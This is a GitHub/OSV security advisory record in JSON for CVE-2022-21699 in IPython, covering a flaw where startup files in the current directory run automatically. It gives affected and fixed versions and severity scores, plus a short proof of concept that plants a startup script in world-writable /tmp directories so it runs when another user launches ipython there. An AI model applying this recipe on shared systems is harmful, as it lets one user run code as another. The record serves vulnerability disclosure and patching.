Vulnerabilities in pkg:pypi/ipython

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pq7m-3gw7-gq5x",
  "modified" : "2024-09-27T17:22:07Z",
  "published" : "2022-01-21T18:55:30Z",
  "aliases" : [ "CVE-2022-21699" ],
  "summary" : "Execution with Unnecessary Privileges in ipython",
  "details" : "We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.\n \nProof of concept\n\nUser1:\n```\nmkdir -m 777 /tmp/profile_default\nmkdir -m 777 /tmp/profile_default/startup\necho 'print(\"stealing your private secrets\")' > /tmp/profile_default/startup/foo.py\n```\n\nUser2:\n```\ncd /tmp\nipython\n```\n\n \n\nUser2 will see:\n```\nPython 3.9.7 (default, Oct 25 2021, 01:04:21)\nType 'copyright', 'credits' or 'license' for more information\nIPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.\nstealing your private secrets\n```\n\n\n## Patched release and documentation\n\nSee https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, \n\nVersion 8.0.1, 7.31.1 for current Python version are recommended. \nVersion 7.16.3 has also been published for Python 3.6 users, \nVersion 5.11 (source only, 5.x branch on github) for older Python versions.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ipython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ipython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "7.16.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ipython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.17.0"
      }, {
        "fixed" : "7.31.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ipython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.0.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-21699"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ipython/ipython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html"
  }, {
    "type" : "WEB",
    "url" : "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB"
  }, {
    "type" : "WEB",
    "url" : "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-250", "CWE-269", "CWE-279" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2022-01-19T21:26:17Z",
    "nvd_published_at" : "2022-01-19T22:15:00Z"
  }
}